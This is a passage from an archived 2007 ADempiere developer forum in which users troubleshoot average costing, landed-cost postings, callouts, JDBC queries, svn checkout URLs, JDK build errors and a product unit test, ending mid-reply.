Yes we once have the same business case when the price is actually written in Delivery Note. This is part of client customization/localization because I don't think it's the best business practice.

Armen

2007-06-25 08:08:01 UTC

Hi,

> Yes we once have the same business case when the price is actually written in Delivery Note.

> This is part of client customization/localization because I don't think it's the best business practice.

Me too. It's not so common and it's not a best practice, but it happens and you need to deal with this.

*** I am wondering how many countries have this issue ? ***

Best regards,
Teo Sarca

2007-06-25 08:59:45 UTC

Hi,

I must agree with Teo, it used also here in Slovakia and I have it in my road map as a customization that I must sooner or later do.

Miso Z.

2007-06-26 03:24:47 UTC

Well one issue outstanding, when we don't have a PO (or Invoice), where will you prefer to get the price from ?

Let's vote (or give preference number).

Mine is:

0. Price in Delivery Note (optional, but there's such case as reported by Teo, Miso, will need further development)
 1. Current Cost Price
 2. Last PO Price (converted, in case Invoice, get from Last Invoice Price)
 3. Purchase Price List
 - a. Price Limit (converted)
 - b. Price Standard (converted)
 - c. Price List (converted)
 4. Return Posting Error

Armen

Goodwill.co.id

2007-06-26 07:39:51 UTC

I haven't commented guys because you seem to have been covering all the points I could think of. One thing does come to mind... In such a scenario of multiple price possibilities, might it not be difficult to determine where the actual average price comes from and if it's right? Also, what if you were to run the financial "reset" utility at a later date... this would removed the facts (anyone know what effects it has on cost calculation?), reprocess the source documents and repost all the accounting facts... since different prices/costs might now be available from the initial post might this result in different postings? Perhaps, something along the lines of the IPV is required... if, for example, the costing is Avg PO then by all means use an invoice or receipt cost when no PO is available BUT when a PO arrives create a variance to account for the difference... this way if the financials are reset the calculation of avg PO may be different but the resulting avg cost should be the same.

colin

2007-06-26 09:21:26 UTC

>In such a scenario of multiple price possibilities, might it not be difficult to determine where the actual average price comes from and if it's right?

Colin, You're right. While it gives flexibility, it will cause more headaches at later time. However isn't it one of the "disadvantage" of Average costing mechanism ? , and how they end up choosing Standard Costing, which is a lot easier to track down the price history and variances. I remember Adaxa (a Compiere Partner) once gave a good explanation about this in Compiere forum.

I think the solution is the price must be from certain price which is not updatable (thus traceable all the time). Surely, Last PO Price and Current Cost is not a perfect candidate for this.

> Also, what if you were to run the financial "reset" utility at a later date... this would removed the facts (anyone know what effects it has on cost calculation?),

Previous behaviour is when you reset accounting, it will re-post all the transaction with the CURRENT cost price, regardless the trx date. It's ok with Standard Costing but when it comes to Average, it will "jeopardize" your ledger and make your accountant stress. Now in the trunk, you can try to reset accounting and see how it will use the correct historical price of the transaction.

Armen

Goodwill.co.id

2007-06-28 16:14:57 UTC

Hi Armenz!

I have been trying to reset the accounting for testing the Average Cost functionality, using GardenWorld, but with no success, would you please let me know the steps required for this task?

Until now I changed the following in Adempiere:

Accounting Schema

Cost type: Real

GAAP: US GAAP

Costing Method: Average PO

Costing Level: Client

Currency USD:

Then I used the reset accounting. But I received some messages about some products (Azalea) not having costs.

I tried with the Create Costing Records process just to check if in that way the lacking cost will be created but with no success.

Then I used the Resubmit Posting, but once again I received the message about missing costs.

I am missing something in this process? Is there any other process to initialize the product costs?

Thank you very much for your help.
Regards
moyses

2007-06-28 16:44:38 UTC

You might find that that process never worked for GardenWorld. I don't think when Compiere introduced new functionalities they migrated old GW data... so for example costs for items in historic documents might not be correctly set!?

colin

2007-06-28 19:01:52 UTC

Hi Armenz,
I am testing the average invoice and landed costs in a new system, but I still have problems.

Costing method: Average Invoice and "Adjust Cogs" activated.

- I ordered 5000 units at a price of 1.34 (sum: 6700\$)
- I generated the receipt without completing
- I generated the invoice of the order, with the same price as the order
- I generated a charge invoice with 500\$ of import costs.
- I distributed the 500\$ to the receipt.
- Then I completed and booked the documents in order: product invoice, importcost invoice, receipt

The sistem debited the inventory account with 7200\$ (6700 product price and 500\$ import cost)

The 500\$ import costs where booked at "Ajusting costs", a subaccount of Cogs. (debit)
The 500\$ were booked on an expense account "Difference between invoice price and

costs".

Until now to me it seems correct, the 500\$ are booked on inventory account and the costs are neutralized.

Afterwards I generated a sale of the 5000 units. And the inventory account was credited with 6700\$ instead of 6700\$ + 500\$. So I have a inventory account with a balance of 500\$ without stock.

The Cogs were calculated with 6700\$, instead of 7200\$.

Am I missing something in the process? What do I have to do to calculated the Cogs and the credit of the inventory account correctly?

Thanks
Susanne

2007-06-28 20:32:48 UTC

Hi Armen,

I changed the default account for cost adjustment to inventory and posted the landed cost invoice after the receipt.

Now it seems to work!!!

I will test other scenarios and give you my results.

Susanne

2007-06-29 03:16:07 UTC

U r right, Colin.

I also found out that if you import product from csv, you will not have the product cost record in M_Cost table. However, if you create new product from Product window, it will create one initial record for Standard Costing. To me, it looks inconsistent behaviour.

Regards,

Armen

2007-06-29 10:32:42 UTC

So moyses it may be best to test the reset with a new client.

re: importing from csv

Ah yes Armen... now you say it, I remember I had to create a small script to create M_Cost records from Product_PO data. I think we can put enhance the import processes on the list of "to do" as well! :) The existing functionality (while better than many apps which provide nothing) is very rudimentary.

colin

2007-06-29 00:48:16 UTC

Hi...

I created a process to generate invoices according to my needs... this process is activated by a button in the Invoice Window... and I want to execute the method "datarefreshall" to refresh the grid with the new invoice generated... I created a field "GenerateInvoice" in the C_Invoice and define a "callout" that calls the method "datarefreshall" associated to this field... And I tried to modify this field in the end of the process and in the "beforesave" method (MInvoice) to execute the callout...

But the callout didn't execute in this two ways (process and beforesave)... only when I change the field "GenerateInvoice" manually...

Is this any way to execute a callout from a process or "beforesave" method? Or calls "datarefreshall" out of callout?

Thank you...

2007-06-29 04:51:03 UTC

Hi,

For the beforesave method to work you have to name the extended model class in a specific way and the extended class has to reside in certain package structure. The logic of finding the extended model class is in M_Table.java (s_package array).

You can get more details here:

http://www.adempiere.com/wiki/index.php/NewWindow#Extending_the_model
http://sourceforge.net/forum/message.php?msg_id=4298877

2007-06-29 21:43:59 UTC

Lalit, thank you for answering my question...

I did this way (class MInvoice):

```
import org.compiere.model.CalloutInvoice;

...

protected boolean beforeSave (boolean newRecord)
{
    CalloutInvoice inv = new CalloutInvoice();

    inv.datarefresh(Env.getCtx(), WindowNo, mTab, mField, "GenerateInvoice");

    ...
}
```

Is this right? The method "datarefresh" is defined in "CalloutInvoice" ...
But I need the parameters WindowNo, mTab and mField... How can I get these?

I'm sorry, but I am new on this. If you can exemplify I will be very thankful...

2007-06-29 22:00:01 UTC

Hi Emerson,

Your question is answered

here: http://sourceforge.net/forum/forum.php?thread_id=1745373&forum_id=610548

Warm regards,
Bahman

2007-06-30 18:36:42 UTC

Bahman, thanks for the explanations...

I'm thinking to use the class "APanel" to make this "refresh"...

2007-06-30 19:42:21 UTC

Hi,
i tried to check the adempiere source from the svn repository, but a problem is occurred when processing "db" project :
This is the error :
.....
.....
A
D:/java/workspace/adempiere_trunk/db/ddlutils/postgresql/functions/tests/Acct_Balance_Test.sql
A
D:/java/workspace/adempiere_trunk/db/ddlutils/postgresql/functions/C_Invoice_Discount.sql

A
D:/java/workspace/adempiere_trunk/db/ddlutils/postgresql/functions/C_Currency_Rate.s
ql
A
D:/java/workspace/adempiere_trunk/db/ddlutils/postgresql/functions/C_BPartner_Remit
Location.sql
A
D:/java/workspace/adempiere_trunk/db/ddlutils/postgresql/functions/Bom_Qty_Reserved
.sql
A D:/java/workspace/adempiere_trunk/db/ddlutils/postgresql/functions/addDays.sql
A
D:/java/workspace/adempiere_trunk/db/ddlutils/postgresql/functions/Bom_Qty_Availabl
e.sql
A
D:/java/workspace/adempiere_trunk/db/ddlutils/postgresql/functions/BOM_PriceStd.sql
A D:/java/workspace/adempiere_trunk/db/ddlutils/postgresql/functions/daysBetween.sql
A
D:/java/workspace/adempiere_trunk/db/ddlutils/postgresql/functions/C_Base_Convert.sq
l
A D:/java/workspace/adempiere_trunk/db/ddlutils/postgresql/functions/firstOf.sql
A D:/java/workspace/adempiere_trunk/db/ddlutils/postgresql/functions/getDate.sql
A
D:/java/workspace/adempiere_trunk/db/ddlutils/postgresql/functions/Bom_Qty_Ordered.
sql
A
D:/java/workspace/adempiere_trunk/db/ddlutils/postgresql/functions/C_PaymentTerm_D
iscount.sql
A D:/java/workspace/adempiere_trunk/db/ddlutils/postgresql/functions/Acct_Balance.sql
A D:/java/workspace/adempiere_trunk/db/ddlutils/postgresql/build-pljava.xml
A D:/java/workspace/adempiere_trunk/db/ddlutils/postgresql/build.properties
A D:/java/workspace/adempiere_trunk/db/ddlutils/postgresql/build-ddl.properties
A D:/java/workspace/adempiere_trunk/db/ddlutils/postgresql/readme.txt
A D:/java/workspace/adempiere_trunk/db/ddlutils/postgresql/RUN_build.sh
A D:/java/workspace/adempiere_trunk/db/ddlutils/postgresql/operators.sql
A D:/java/workspace/adempiere_trunk/db/ddlutils/postgresql/pljava
A D:/java/workspace/adempiere_trunk/db/ddlutils/postgresql/pljava/META-INF
A D:/java/workspace/adempiere_trunk/db/ddlutils/postgresql/pljava/META-
INF/MANIFEST.MF
RA layer request failed
svn: REPORT request failed on '/svnroot/adempiere!/svn/vcc/default'
svn: REPORT of '/svnroot/adempiere!/svn/vcc/default': Could not read response body:
Secure connection truncated (<https://svn.sourceforge.net>)

any idea please?

Best regards,
Najeh

2007-07-01 10:39:05 UTC

Salam,
The problem still appear, i did the checkout many times but with no hope.

Best regards,
Najeh

2007-07-01 12:09:19 UTC

Hi Najeh,
what url are you using?

in the meantime do an svn "clean" followed by an "update" an it might continue on.

colin

2007-07-01 13:34:48 UTC

Hi Colin,
this is the URL i'm using :
<https://svn.sourceforge.net/svnroot/adempiere>

Best regards,
Najeh

2007-07-01 13:49:46 UTC

I think sourceforge did some reorganisation of their servers and this

<https://adempiere.svn.sourceforge.net/svnroot/adempiere>

works better ... for me anyway

colin

2007-07-01 14:44:37 UTC

Hi Colin,

You're right. Trifon mentioned it
at http://sourceforge.net/forum/forum.php?thread_id=1755158&forum_id=610548.

Warm regards,
Bahman

2007-07-01 16:15:59 UTC

Hi Colin, Bahman

Thank you for the information. It works now.

PS : I did this URL correctly one day, but i forgot to add the project name at the begin of the URL.

Anyway, thank you again.

Best regards,
Najeh

2007-06-30 19:30:43 UTC

Hi people!

I need another help, please...

I'm trying to make a update in my database using java code, like this:

```
String trxNameUsed = Trx.createTrxName("Invoice");  
Trx trx = Trx.get(trxNameUsed, true);
```

....

```
String sql = < my update script >;
```

```
PreparedStatement pstmt = DB.prepareStatement( sql , trxNameUsed );  
pstmt.executeUpdate() ;  
pstmt.close() ;
```

....

```
trx.commit();  
trx.close();
```

This code is called from "aftersave" method from MInvoiceLine, and it updates C_Invoice...

However, it stops at line "pstmt.executeUpdate() ;"... it doesn't show any message, and I

have to abort the system...

Does anybody know what's happening?

2007-07-01 05:44:33 UTC

Hola Emerson!

please , can you explaint to me, what is issue that you want solve or more information.

I would help you if you say more detail.

Victor Perez

CEO

<http://www.e-evolution.com>

2007-07-01 10:53:12 UTC

Hi,

which database do you use? Can you please post the 'my update script' - maybe it is a sql problem (the update never returns).

Best regards,
Karsten

2007-07-02 10:41:33 UTC

Hi,

>However, it stops at line "pstmt.executeUpdate() ;"... it doesn't show any message, and I
>have to abort the system...

I sounds like another transaction is running and stops your from execution.
This is just a guess.

Kind regards,
Trifon

2007-07-02 18:32:56 UTC

Thanks to all for answering me...

Maybe I didn't explain correctly before...

I wrote that the process "stops" at "pstmt.executeUpdate()"... actually is waiting forever, and I have to abort the system...

My update sql is like this (with new columns I have created in C_INVOICE):

```
UPDATE C_INVOICE SET BASE_ICMS = 15.67 , VALOR_ICMS = 2.82 ,  
VALOR_ISENTAS = 7.83 , VALOR_OUTRAS = 0 , VALOR_ST = 0 , BASE_ST = 0 ,  
VALOR_IPI = 0 , BASE_IPI = 0 , TOTALLINES = 23.5 , GRANDTOTAL = ( 23.5 -  
VALOR_INSS ) WHERE C_INVOICE_ID = 1000188
```

When I execute this sql on SQLDeveloper, it runs correctly...

Perhaps another transaction is locking C_INVOICE? How can I trace this?

2007-07-03 00:29:01 UTC

Hi All,

I am trying to create a chart of accounts. I did this and tried to import my COA and got the error:

Check the error log and the format of the Accounting*.cvs file - No duplicate Accounts and all all default accounts must be included (even if you will not use them).

How do I set default accounts and how do I know what are all the default accounts I need to set?

Long live adempiere!

2007-07-03 01:51:29 UTC

Tim, the easy path is to use the AdempiereAcctEdit program here:

<http://adempiere.svn.sourceforge.net/viewvc/adempiere/contributions/adempiereAcctEdit/>

Regards,

Carlos Ruiz

2007-07-03 04:19:58 UTC

Carlos Ruiz I am using this adempiere account editor: <http://sourceforge.net/projects/accteditor>

Is that not good enough?

2007-07-03 04:52:52 UTC

Hi Tim, they are the same.

Daniel Norin - the author of such extraordinary contribution uploaded the version to

contributions subdirectory.

I remember there is a tab in the program that can show you the missing default account.

Regards,

Carlos Ruiz

2007-07-02 12:25:16 UTC

Dear friends,

I wanted to insert some data to the database just after creating the factlines in the Doc_PettyCashReceipt.java...
but I got a problem with making request to the database. this is the part of the code(Doc_PettyCashReceipt.java) that 'm trying to run:

```
PreparedStatement pstmt = DB.prepareStatement(sql, null);  
ResultSet rs = pstmt.executeQuery();  
if(rs.next()) System.out.println("Everything is OK");
```

```
else System.out.println("Something is wrong");
```

I got "Something is wrong" in the console screen...
OK, that might be a problem with sql, but I run my sql-script on the SQLDeveloper and got irrefragable answer: sql is fine...

Could anybody give me any advice, please? I think, I shouldn't try to manipulate the database
from the Doc_PettyCashReceipt.java, might it be possible reason?

Thanks in advance...

2007-07-02 12:34:53 UTC

Hi,

the 'Something is wrong' just indicates that the record set is empty but if I get you right you try to insert something so of course it is empty. You will only have records in it if you are doing a select..

So a bit more information (like the sql) would be fine. If you just want to know if the update was successful try this:
int no = pstmt.executeUpdate();

It will give you the number of rows updated/inserted/deleted - so you can test for the no (if(no==0)..)

Best regards,
Karsten

2007-07-02 12:48:15 UTC

Hi Karsten, thank you for paying attention to my problem...

Actually, I'm selecting data from the DB...Sorry, I should post my sql before...

```
SELECT ev.Value AS Debet FROM C_ElementValue ev, Fact_Acct zz WHERE  
zz.Account_ID=ev.C_ElementValue_ID
```

```
AND zz.Record_ID=(SELECT UM_PettyCashReceipt_ID FROM  
UM_PettyCashReceipt WHERE DocumentNo='37'
```

```
AND AD_Client_ID=1000001 AND AD_Org_ID=1000001) AND ev.Description=451  
GROUP BY ev.Value
```

2007-07-02 13:11:55 UTC

Hi,

could you try it with simple sql like 'SELECT Value FROM C_ElementValue' just to make sure that it is not a problem of your sql? Just because your code looks good to me.. Btw do you close your rs/pstmt?

Regards,
Karsten

2007-07-03 04:24:29 UTC

Hello,

2 Karsten: I did what you you told me to do, but still I get the same results... :(I've closed pstmt and rs...

I wonder if I can execute my own queries from the Doc_... files. Might the problem be with that?

thanks...

2007-07-03 06:31:50 UTC

Hi, I've modified my java code:

```
String sql = "SELECT ev.Value AS Debet FROM C_ElementValue ev, Fact_Acct zz
```

```
WHERE zz.Account_ID=ev.C_ElementValue_ID " +  
"AND zz.Record_ID=(SELECT UM_PettyCashReceipt_ID FROM  
UM_PettyCashReceipt WHERE DocumentNo=?' " +  
"AND AD_Client_ID=? AND AD_Org_ID=?) AND ev.Description=451 GROUP BY  
ev.Value";
```

```
PreparedStatement pstmt = DB.prepareStatement(sql, get_TrxName());
```

```
pstmt.setString(1, getDocumentNo());
```

```
pstmt.setInt(2, getAD_Client_ID());
```

```
pstmt.setInt(3, getAD_Org_ID());
```

```
ResultSet rs = pstmt.executeQuery();
```

```
if(rs.next()) System.out.println("Everything is OK");  
else System.out.println("Something is wrong");
```

```
String Debet = rs.getString("Debet");
```

```
rs.close();
```

```
pstmt.close();
```

if I comment these lines:

```
pstmt.setString(1, getDocumentNo());
```

```
pstmt.setInt(2, getAD_Client_ID());
```

```
pstmt.setInt(3, getAD_Org_ID());
```

everything is OK...

Can you help me, please?

thank you...

2007-07-03 09:13:33 UTC

Hi,

no it is not a general problem with the Doc_.. I have this custom method in Doc_Allocation so I guess it is another problem:

```
private MAccount getTaxDiscountAccount(int taxId) {
// ValidCombination mit
// passender org/accountId
if (taxId == 0) {
return null;
}

String sql = "SELECT XX_Discount_Acct FROM C_Tax_Acct WHERE C_Tax_ID=?";
int accountId = 0;
try {
PreparedStatement pstmt = DB.prepareStatement(sql, null);
pstmt.setInt(1, taxId);
ResultSet rs = pstmt.executeQuery();
if (rs.next())
accountId = rs.getInt(1);
rs.close();
pstmt.close();
} catch (SQLException e) {
log.log(Level.SEVERE, sql, e);
return null;
}
// No account
if (accountId == 0) {
log.severe("NO account for C_Tax_ID=" + taxId);
return null;
}

// Return Account
MAccount acct = MAccount.get(Env.getCtx(), accountId);
return acct;

}
```

Regards,
Karsten

2007-07-03 09:58:30 UTC

I almost sure that something is wrong with this:

```
WHERE DocumentNo="" + getDocumentNo() + ""
```

in...

```
String sql = "SELECT ev.Value AS Debet FROM C_ElementValue ev, Fact_Acct zz  
WHERE zz.Account_ID=ev.C_ElementValue_ID " +
```

```
"AND zz.Record_ID=(SELECT UM_PettyCashReceipt_ID FROM  
UM_PettyCashReceipt WHERE DocumentNo="" + getDocumentNo() + "" " +
```

```
"AND AD_Client_ID=? AND AD_Org_ID=?) AND ev.Description=451 GROUP BY  
ev.Value";
```

cos, if I write, for example, like this WHERE DocumentNo='600', everything works fine...

Any idea?

Thanks...

2007-07-03 10:11:53 UTC

Did you try to log.info(getDocumentNo()+"");

Since you are using a custom document type I'm not sure if this is working like you expect.

Btw it would be better to use 'WHERE DocumentNo=?' and set it later.

Regards,
Karsten

2007-07-03 11:01:14 UTC

Hi assety,

You have 2 options:

1. Use "WHERE DocumentNo=?" (recomanded way)
2. Use "WHERE DocumentNo=" + DB.TO_STRING(getDocumentNo()) ...

> I almost sure that something is wrong with this:

> WHERE DocumentNo="" + getDocumentNo() + ""

Can be, if the getDocumentNo() string contains ""

Best regards,
Teo Sarca

2007-07-03 01:04:44 UTC

Hi,

When i execute utils_dev/Run_build.bat i get errors below can some help us.:

Cleanup ...

Buildfile: build.xml

clean:

clean:

[delete] Deleting directory C:\dev\workspace\adempiere_trunk\tools\build

clean:

clean:

clean:

clean:

clean:

clean:

clean:

clean:

clean:

clean:

clean:

clean:

BUILD SUCCESSFUL

Total time: 0 seconds

Building ...

Buildfile: build.xml

init:

[echo] ===== Build Adempiere - UTF-8

build:

toolsInit:

```
[echo] ===== Build Tools ADempiere  
[mkdir] Created dir: C:\dev\workspace\adempiere_trunk\tools\build
```

toolsCompile:

```
[javac] Compiling 126 source files to C:\dev\workspace\adempiere_trunk\tools\build  
[javac]  
C:\dev\workspace\adempiere_trunk\tools\src\org\apache\ecs\ConcreteElement.java:48:  
<identifier> expected  
[javac] private Hashtable<String,Element> registry = new Hashtable<Strin  
g,Element>(4);  
[javac] ^  
[javac]  
C:\dev\workspace\adempiere_trunk\tools\src\org\apache\ecs\ConcreteElement.java:50:  
<identifier> expected  
[javac] private Vector<String> registryList = new Vector<String>(2);  
[javac] ^  
[javac]  
C:\dev\workspace\adempiere_trunk\tools\src\org\apache\ecs\ElementContainer.java:46:  
<identifier> expected  
[javac] private Vector<Object> ec = new Vector<Object>(2);  
[javac] ^  
[javac]  
C:\dev\workspace\adempiere_trunk\tools\src\org\apache\ecs\GenericElement.java:86:  
<identifier> expected  
[javac] private Hashtable<String, Object> element = new Hashtable<String,Object>(4);  
[javac] ^  
[javac]  
C:\dev\workspace\adempiere_trunk\tools\src\org\apache\ecs\GenericElement.java:207:  
<identifier> expected  
[javac] protected Hashtable<String,Object> getElementHashEntry()  
[javac] ^  
[javac]  
C:\dev\workspace\adempiere_trunk\tools\src\org\apache\ecs\GenericElement.java:814: ';' expected  
[javac] }  
[javac] ^  
[javac]  
C:\dev\workspace\adempiere_trunk\tools\src\org\apache\ecs\filter\CharacterFilter.java:47:  
'{' expected  
[javac] public class CharacterFilter extends java.util.Hashtable<String, Object>  
implements Filter  
[javac] ^  
[javac]
```



```
C:\dev\workspace\adempiere_trunk\tools\src\org\apache\ecs\filter\CharacterFilter.java:13
1: '}' expected
[javac] }
[javac] ^
[javac]
C:\dev\workspace\adempiere_trunk\tools\src\org\apache\ecs\filter\StringFilter.java:32: '{'
expected
[javac] public class StringFilter extends java.util.Hashtable<String, Object> implements
Filter
[javac] ^
[javac]
C:\dev\workspace\adempiere_trunk\tools\src\org\apache\ecs\filter\StringFilter.java:145:
'}' expected
[javac] }
[javac] ^
[javac]
C:\dev\workspace\adempiere_trunk\tools\src\org\apache\ecs\filter\WordFilter.java:45: '{'
expected
[javac] public class WordFilter extends java.util.Hashtable<String, Object> implements
Filter
[javac] ^
[javac]
C:\dev\workspace\adempiere_trunk\tools\src\org\apache\ecs\filter\WordFilter.java:112:
'}' expected
[javac] }
[javac] ^
[javac]
C:\dev\workspace\adempiere_trunk\tools\src\org\apache\ecs\xml\XMLDocument.java:46
: <identifier> expected
[javac] private Vector<Object> prolog;
[javac] ^
[javac]
C:\dev\workspace\adempiere_trunk\tools\src\org\apache\ecs\xml\XMLDocument.java:89
: '(' or '[' expected
[javac] prolog = new Vector<Object> (2);
[javac] ^
[javac] C:\dev\workspace\adempiere_trunk\tools\src\org\apache\ecs\AlignType.java:31:
cannot access java.lang.Object
[javac] bad class file: C:\Program Files\Java\jdk1.5.0_06\jre\lib\rt.jar(jav
a/lang/Object.class)
[javac] class file has wrong version 49.0, should be 47.0
[javac] Please remove or make sure it appears in the correct subdirectory of
the classpath.
[javac] public final static String CENTER = "center";
[javac] ^
[javac] 15 errors
```

BUILD FAILED

C:\dev\workspace\adempiere_trunk\utils_dev\build.xml:20: The following error occurred while executing this line:

C:\dev\workspace\adempiere_trunk\tools\build.xml:65: Compile failed; see the compiler error output for details.

Total time: 1 second

MailLogger failed to send e-mail!

```
java.lang.Exception: Missing required parameter: MailLogger.from
at org.apache.tools.ant.listener.MailLogger.getValue(MailLogger.java:180
)
at org.apache.tools.ant.listener.MailLogger.buildFinished(MailLogger.jav
a:128)
at org.apache.tools.ant.Project.fireBuildFinished(Project.java:1848)
at org.apache.tools.ant.Main.runBuild(Main.java:688)
at org.apache.tools.ant.Main.startAnt(Main.java:187)
at org.apache.tools.ant.Main.start(Main.java:150)
at org.apache.tools.ant.Main.main(Main.java:240)
Appuyez sur une touche pour continuer...
```

2007-07-03 01:32:46 UTC

hi,

you need to use jdk 1.5 to compile from trunk.

2007-07-03 02:11:45 UTC

i am using the jdk 1.5.0_06 under widows xp pro sp2 :

```
C:\>java -version
```

```
java version "1.5.0_06"
```

```
Java(TM) 2 Runtime Environment, Standard Edition (build 1.5.0_06-b05)
```

```
Java HotSpot(TM) Client VM (build 1.5.0_06-b05, mixed mode)
```

2007-07-03 14:59:27 UTC

hello mzgh

Are you sure that you are using Java Jdk and not Jre.

Thats because the rt.jar cannot be found. it is only found in the jdk and not in the Jre

```
<[javac] bad class file: C:\Program Files\Java\jdk1.5.0_06\jre\lib\rt.jar(jav
a/lang/Object.class)
```

```
[javac] class file has wrong version 49.0, should be 47.0
```

```
[javac] Please remove or make sure it appears in the correct subdirectory of
```

the classpath. >

alternatively install the jdk to the root of your c: drive like c:\jdk and try to not use something like jdk1.5, probably your Java jdk cannot support long file names.

Also remember to update your java_home variable in environment .

Warm Regards

Muthah

2007-07-03 00:53:01 UTC

Hi i posted this post in the functional ERP but i think it should be here because it seems to be like a bug !

I have posted some bank statement against some bank accounts but the current bank account balances for all banks are wrong !!! i haved tried many times but no way. is this a bug ???

Am using adempiere 320

2007-07-03 01:33:58 UTC

hi,

please provide more details so that we can help to diagnost your issue.

2007-07-03 01:59:32 UTC

If you're talking about the "Beginning balance" field in the bank statement window -- it just picks up the last "Ending balance" it can find for the account. So if you get out of sync with the paper statements it will show the wrong value. But you can just type in the correct starting balance as it's just a guide as to whether you've matched the statement.

To find out what Adempiere really thinks is in your bank account, you need to do a financial report on the bank account "account".

Regards,

Paul

2007-07-03 09:37:21 UTC

Thanks !

I am talking about the current balance field in the bank account tab (bank window). it is not updated as i post statements or cancel somes ones.

2007-07-03 18:48:55 UTC

Hi Sami,

I was playing with my bank statements today, and I got the same issue. I haven't investigated it thoroughly yet, but I think it has something to do with the beginning balance being zero. Looks like when the bank balance is zero and you save it, it's fine. But then if you edit it again like description or something like that, then the beginning balance becomes equal to the ending balance.

If we have enough time, we'll try to replicate this, and fix it in Adempiere.

Regards

Frederick Tsang

2007-07-03 20:52:00 UTC

Hello All,

I am trying to create a unit test to simply create a product. I keep getting this error:

```
[junit] =====> DB.executeUpdate: INSERT INTO M_Product
(IsPurchased,IsSummary,M_Product_ID,AD_Client_ID,IsSold,IsActive,IsStocked,Creat
ed,CreatedBy,Updated,UpdatedBy,AD_Org_ID,IsBOM,IsPickListPrintDetails,C_UOM_
ID,IsInvoicePrintDetails,IsVerified,ProductType,IsWebStoreFeatured,Processing,IsSelfS
ervice,IsExcludeAutoDelivery,Name,Value) VALUES
('Y','N',1003421,11,'Y','Y','Y',TO_TIMESTAMP('2007-07-03 12:48:22','YYYY-MM-DD
HH24:MI:SS'),0,TO_TIMESTAMP('2007-07-03 12:48:22','YYYY-MM-DD
HH24:MI:SS'),0,0,'N','N',100,'N','N','I','N','N','Y','N','Test Product','10000001') [test]
[junit] org.postgresql.util.PSQLException: ERROR: null value in column
"m_product_category_id" violates not-null constraint; State=23502; ErrorCode=0
[junit] at
org.postgresql.core.v3.QueryExecutorImpl.receiveErrorResponse(QueryExecutorImpl.java:1548)
[junit] at
org.postgresql.core.v3.QueryExecutorImpl.processResults(QueryExecutorImpl.java:1316
)
[junit] at
org.postgresql.core.v3.QueryExecutorImpl.execute(QueryExecutorImpl.java:191)
[junit] at
org.postgresql.jdbc2.AbstractJdbc2Statement.execute(AbstractJdbc2Statement.java:452)
[junit] at
org.postgresql.jdbc2.AbstractJdbc2Statement.executeWithFlags(AbstractJdbc2Statement.
java:351)
[junit] at
org.postgresql.jdbc2.AbstractJdbc2Statement.executeUpdate(AbstractJdbc2Statement.jav
a:305)
[junit] at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
```

My code has:

```
public void testMProductCreation() {^M
MProduct m_product = new MProduct(m_Ctx, 0, trxName);^M
m_product.setAD_Org_ID(0);^M
m_product.setProductType (X_I_Product.PRODUCTTYPE_Item); // I
m_product.setIsBOM (false); // N
m_product.setIsInvoicePrintDetails (false);
m_product.setIsPickListPrintDetails (false);
m_product.setIsPurchased (true); // Y
m_product.setIsSold (true); // Y
m_product.setIsStocked (true); // Y
m_product.setIsSummary (false);
m_product.setIsVerified (false); // N
m_product.setIsWebStoreFeatured (false);
m_product.setIsSelfService(true);
m_product.setIsExcludeAutoDelivery(false);
m_product.setProcessing (false); // N
m_product.setName("Test Product"); // N
m_product.setC_UOM_ID(getUOM_ID("Each"));
//m_product.setM_Product_ID(getProduct_Category_ID("Documentation"));
m_product.setM_Product_ID(111);

boolean saveResult = m_product.save();^M
if (!saveResult) {^M
assertEquals("Product not updated!", true, saveResult);^M
} else {^M

System.out.println("m_product.get_ID: " + m_product.get_ID());^M
```

I am setting the Product_ID with `m_product.setM_Product_ID(111)`; so why does it continue to give this error? Is there a different setter I should use?

Thanks,

Tim

P.S.

Long live adempiere!

2007-07-03 21:26:17 UTC

Hi Tim,

the error:

ERROR: null value in column "m_product_category_id" violates not-null constraint;

the solution:

you need to fix the m_product.setM_Product_Category_ID to some value.

you don't need to call m_product.setM_Product_ID(111), the ID is generated automatically.

Regards,

Carlos Ruiz

2007-07-04 10:10:05 UTC

Hi Tim,

class MProductTest from extend project do not compiles.

MProductTest.java 2882 13 hours wght Test case to test creation of a Product.

please make appropriate steps to make it compilable.

If you need help please or have further questins, please do not hesitate to ask.

Kind regards,

Trifon

2007-07-04 13:51:11 UTC

Hi all,

Can someone help me, please?

I am using oracleXe and AD version 3.2.0. I try to import FixedAsset via 'PackIn -Import Packages'.

I login in with SuperUser and System administration role.

In window 'PackIn -ImportPackages' for AD_Packages_Source_File i choose 'File', in 'AD_Package_Source' parameter i put the path to FAPack006.zip

(/adempiere_trunk/packages/FAPack006.zip) and then start process PackIn.

In the 'Package Maintenance->Object Installed' windows i can see that all table was imported successfully except table AD_Ref_List. Why???

If i look in oracle database i can see all the table (Asset and Depreciation). Also In Role

window i can see that i have access to new created windows.
But when i login into Adempiere under menu Asset none of new windows appear. I assume that under Asset menu the Asset Fixed and Depreciation submenu should appear after import FAPack006.zip. Am i wrong?

The fixed asset are very important to us so i will be very glad if somebody help me to solve my problem?

Thank You,

Regards, Bojana

2007-07-04 10:34:09 UTC

Hi all,

I had a problem to save changes in AD - tables and columns. Error occurs in X_AD_Column.java in

```
public String getIsEncrypted()
{
return (String)get_Value("IsEncrypted");
}
```

where get_Value("IsEncrypted") from PO.java returns boolean value.

I fixed it this way :

```
public String getIsEncrypted()
{
//MosoZ-> 04.07.2007 temporary - manually changed to convert boolean to string to
avoid problem in return value
//original : return (String)get_Value("IsEncrypted");
Object oo = get_Value("IsEncrypted");
if (oo != null)
{
if (oo.equals(true)) return "Y" ;
}
return "N";
//MisoZ<- end 04.07.2007
}
```

I would like to know, if it is correct way to fix, or real problem is somewhere else and the original public String getIsEncrypted() from is correct.

Thanks
MisoZ

2007-07-04 16:06:34 UTC

Hi MisoZ, I suppose this problem is similar to the "Project Type" in project window.

This is, the column "IsEncrypted" is a checkbox, but in the table is defined as a button, so the X_ class treat it as a String instead of a Boolean.

X_ classes must no be modified. I think you need to change your code.

Regards,

Carlos Ruiz

2007-07-04 09:16:59 UTC

Dear Developers,

i need your help.

I found that IsAlwaysUpdateable do not work for Button in 3.2!

And i'm not sure why... I spent 3 hours researching but it looks that i'm missing something. The bad thing is that i'm quite angry that this is not working and i suppose that i'm missing something when troubleshooting.

If anyone could help i would be really grateful.

Kind regards,
Trifon

2007-07-04 10:59:55 UTC

Hi Trifon,

